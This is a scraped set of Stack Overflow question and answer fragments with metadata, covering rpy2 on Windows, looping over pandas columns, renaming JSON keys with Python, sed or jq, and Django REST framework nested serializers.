<p><code>rpy2</code> is not fully supported on Windows and what is working on Linux (or OS X) might not. Since you are developing a PoC with Flask, I'd encourage you to try using Docker (with <code>docker-machine</code> on Windows). You could use rpy2's docker image as a base image.</p> <p>However, here this is just u...
1
2016-07-16T12:52:11Z
[ "python", "python-3.x", "rpy2" ]
Loop over columns to cleanse the values
38,387,765
<p>I have many columns in my pandas data frame which I want to cleanse with a specific method. I want to see if there is a way to do this in one go.</p> <p>This is what I tried and this does not work.</p> <pre><code>list = list(bigtable) # this list has all the columns i want to cleanse for index in list: bigtab...
-2
2016-07-15T04:14:46Z
38,389,296
<p>try this should work:</p> <pre><code>bigtable1=pd.Dataframe() for index in list: bigtable1[index] = bigtable[index].str.split(',', expand=True).apply(lambda x: pd.Series(np.sort(x)).str.cat(sep=','), axis=1) </code></pre>
1
2016-07-15T06:32:16Z
[ "python", "pandas" ]
shortening key names in a json object using python/bash
38,387,769
<p>this is a function I have written that will change/shorten all the keys on a json object </p> <pre><code>function replaceKeyWithNewKey(jsonObj, new_keys, old_keys){ console.log("test") for(i=0;i&lt;jsonObj.length;i++){ for(el in jsonObj){ //console.log(new_keys[el]) ...
0
2016-07-15T04:15:28Z
38,387,986
<p>Assuming you know how to load json's into a python data structure. The sample data you have given will be a python <code>list</code> of <code>dict</code>s. I think the most straightforward way is to build a dictionary mapping the old-keys to the new-keys and then iterating through the list using dictionary comprehen...
1
2016-07-15T04:44:12Z
[ "python", "json", "bash", "sed" ]
shortening key names in a json object using python/bash
38,387,769
<p>this is a function I have written that will change/shorten all the keys on a json object </p> <pre><code>function replaceKeyWithNewKey(jsonObj, new_keys, old_keys){ console.log("test") for(i=0;i&lt;jsonObj.length;i++){ for(el in jsonObj){ //console.log(new_keys[el]) ...
0
2016-07-15T04:15:28Z
38,399,084
<p>Just using sed to substitute the keys.</p> <pre><code>#!/bin/bash function replaceKeyWithNewKey() { json_file="$1" old_key="$2" new_key="$3" # you'd better to backup first. sed -i "" "s/${old_key}/${new_key}/g" ${json_file} } old_keys=("Rec_Open_Date" "MSISDN" "IMEI" "Data_Volume_Bytes" "Dev...
0
2016-07-15T14:48:21Z
[ "python", "json", "bash", "sed" ]
shortening key names in a json object using python/bash
38,387,769
<p>this is a function I have written that will change/shorten all the keys on a json object </p> <pre><code>function replaceKeyWithNewKey(jsonObj, new_keys, old_keys){ console.log("test") for(i=0;i&lt;jsonObj.length;i++){ for(el in jsonObj){ //console.log(new_keys[el]) ...
0
2016-07-15T04:15:28Z
38,399,684
<p>If you're going to be manipulating <code>JSON</code> from the command-line, I recommend installing <a href="https://stedolan.github.io/jq/" rel="nofollow"><code>jq</code></a>. </p> <p>You can put your key map in an associative array in bash 4+, something like this:</p> <pre><code>declare -A map=([foobar]=foo [poo...
1
2016-07-15T15:17:49Z
[ "python", "json", "bash", "sed" ]
Django rest framework nested serialization not working properly
38,387,809
<p>I have these serializers in my app:</p> <pre><code>class ScheduleSerializer(serializers.ModelSerializer): class Meta: model = Schedule fields = ('id',) class DisciplineSerializer(serializers.ModelSerializer): class Meta: model = Discipline fields = ('id',) class WriteTeach...
1
2016-07-15T04:20:13Z
38,406,406
<p>If you are just sending <code>IDs</code> then you don't need to add the nested serializer, just specify the field name of the <code>ForeignKey</code> or <code>ManyToManyField</code>.</p> <pre><code>class WriteTeacherSerializer(serializers.ModelSerializer): class Meta: model = Teacher fields = (...
1
2016-07-15T23:50:49Z
[ "python", "django", "debugging", "serialization", "django-rest-framework" ]